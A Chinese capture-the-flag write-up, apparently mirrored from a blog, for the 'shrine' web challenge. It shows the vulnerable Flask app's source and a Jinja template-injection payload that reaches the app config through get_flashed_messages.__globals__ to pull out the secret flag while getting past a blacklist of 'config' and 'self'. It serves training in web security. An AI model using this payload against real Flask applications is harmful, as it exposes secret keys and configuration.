zoukankan      html  css  js  c++  java
  • 攻防世界-web进阶-shrine

    打开之后

     看源码

    import flask
    import os
    
    app = flask.Flask(__name__)
    
    app.config['FLAG'] = os.environ.pop('FLAG')
    
    
    @app.route('/')
    def index():
        return open(__file__).read()
    
    
    @app.route('/shrine/<path:shrine>')
    def shrine(shrine):
    
        def safe_jinja(s):
            s = s.replace('(', '').replace(')', '')
            blacklist = ['config', 'self']
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    
        return flask.render_template_string(safe_jinja(shrine))
    
    
    if __name__ == '__main__':
        app.run(debug=True)
    

     也发现config,self被拉黑了

    根据提示:shrine  可能存在Flash框架,SSTI模板注入漏洞

      我们首先尝试一下注入,在/shrine/路径下注入{{1+1}}

     看到用户的输入被当做代码执行了;

    构造pyload:

    /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
    

      

     

    Flash模板注入格式:{{1+1}}        //特定情况下可以当做代码执行

    get_flashed_messages        //字面意思,获取内容,就是取值,后面跟的就是要取得值

    current_app          //设计模式中代理设计的代理对象,指向flask核心对象和reques的请求类

  • 相关阅读:
    053-1
    多项式ADT笔记(数据结构c版)
    052-188
    052-187
    052-186
    052-185
    052-184
    052-183
    052-182
    JS中的垃圾回收(GC)
  • 原文地址:https://www.cnblogs.com/tac2664/p/13870037.html
Copyright © 2011-2022 走看看